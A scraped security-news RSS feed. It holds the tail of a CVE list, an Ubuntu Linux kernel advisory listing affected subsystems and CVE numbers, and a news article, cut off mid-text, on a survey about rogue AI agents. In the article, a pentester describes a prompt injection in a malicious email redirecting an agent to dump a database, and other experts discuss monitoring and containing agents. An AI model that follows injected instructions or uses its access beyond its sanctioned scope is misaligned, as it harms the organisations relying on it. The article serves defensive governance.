CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:01 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



